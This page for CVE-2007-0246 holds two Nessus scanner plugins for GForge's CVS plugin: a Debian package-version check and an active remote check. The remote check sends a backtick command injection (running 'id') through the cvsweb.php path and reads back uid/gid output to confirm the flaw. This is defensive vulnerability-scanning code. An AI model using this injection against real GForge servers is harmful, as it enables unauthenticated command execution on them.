Vulnerabilities > CVE-2007-0246 - Remote Arbitrary Command Execution vulnerability in GForge

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1297. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(25301);
  script_version("1.14");
  script_cvs_date("Date: 2019/08/02 13:32:20");

  script_cve_id("CVE-2007-0246");
  script_xref(name:"DSA", value:"1297");

  script_name(english:"Debian DSA-1297-1 : gforge-plugin-scmcvs - missing input sanitising");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Bernhard R. Link discovered that the CVS browsing interface of Gforge,
a collaborative development tool, performs insufficient escaping of
URLs, which allows the execution of arbitrary shell commands with the
privileges of the www-data user.

The oldstable distribution (sarge) is not affected by this problem."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2007/dsa-1297"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the gforge-plugin-scmcvs package.

For the stable distribution (etch) this problem has been fixed in
version 4.5.14-5etch1."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:gforge-plugin-scmcvs");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2007/05/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/05/25");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"4.0", prefix:"gforge-plugin-scmcvs", reference:"4.5.14-5etch1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(25338);
  script_version("1.25");
 script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id("CVE-2007-0246");
  script_bugtraq_id(24141);

  script_name(english:"GForge CVSWeb CGI cvsweb.php PATH_INFO Parameter Arbitrary Command Execution");
  script_summary(english:"Tries to run a command via GForge's CVS Plugin");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows arbitrary
command execution." );
 script_set_attribute(attribute:"description", value:
"The remote host is running GForge, a web-based project for
collaborative software development.

The version of GForge installed on the remote host fails to sanitize
user-supplied input to the 'plugins/scmcvs/cvsweb.php' script before
using it to execute a shell command.  An unauthenticated attacker can
leverage this issue to execute arbitrary code on the remote host
subject to the privileges of the web server user id." );
  # http://gforge.org/gf/project/gforge/scmsvn/
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c76a0805");
 script_set_attribute(attribute:"solution", value:
"Upgrade to the latest SVN version as a fix for this issue was added
with revision 6038." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"2007/05/24");
 script_set_attribute(attribute:"plugin_publication_date", value:"2007/05/26");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:gforge:gforge");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("gforge_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/gforge");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);

install = get_install_from_kb(appname:'gforge', port:port);
if (isnull(install)) exit(0, "The 'www/"+port+"/gforge' KB item is missing.");

dir = install['dir'];

if (dir == "") dir = "/";

  # Get list of defined projects.
  w = http_send_recv3(method:"GET", item:dir, port:port);
  if (isnull(w)) exit(1, "the web server on port "+port+" failed to respond.");
  res = w[2];

  # If it looks like GForge...
  if (
    'title="Gforge - ' >< res ||
    '"Powered By GForge' >< res
  )
  {
    projects = make_list();
    pat = '<a href="/projects/([^/]+)/">';

    # nb: avoid missing projects that appear on same line as another.
    res = str_replace(find:"<br />", replace:'\n', string:res);

    matches = egrep(pattern:pat, string:res);
    if (matches)
    {
      foreach match (split(matches, keep:FALSE))
      {
        m = eregmatch(pattern:pat, string:match);
        if (!isnull(m)) projects = make_list(m[1], projects);
      }
    }

    # If we have a thread id.
    if (max_index(projects))
    {
      # Try to exploit the flaw to run a command.
      cmd = "id";
      i = 0;

      foreach project (projects)
      {
        # Only do at most 10 tests, unless the "Perform thorough tests" setting is enabled.
        if (!thorough_tests && ++i > 10) break;

        w = http_send_recv3(method:"GET",
          item:string(
            dir, "/plugins/scmcvs/cvsweb.php",
            "/`", cmd, "`/?",
            "cvsroot=", project
          ),
          port:port
        );
	if (isnull(w)) exit(1, "the web server on port "+port+" failed to respond.");
	res = w[2];

        if ("cvsweb.php/uid%3D" >< res)
        {
          # There's a problem if we see output from our command.
          line = egrep(pattern:"uid%3D[0-9]+.*gid%3D[0-9]+.*", string:res);
          if (line)
          {
            output = strstr(line, "uid%3D");
            if (output) output = output - strstr(output, "?cvsroot=");
            if (output) line = output;
          }
          if (line)
          {
            if (report_verbosity)
            {
              report = string(
                "\n",
                "Nessus was able to execute the command '", cmd, "' on the remote host.\n",
                "It produced the following output :\n",
                "\n",
                "  ", data_protection::sanitize_uid(output:urldecode(estr:line))
              );
              security_warning(port:port, extra:report);
            }
            else security_warning(port);
            exit(0);
          }
        }
      }
    }
    else
    {
      debug_print("couldn't find a project to use!", level:1);
    }
  }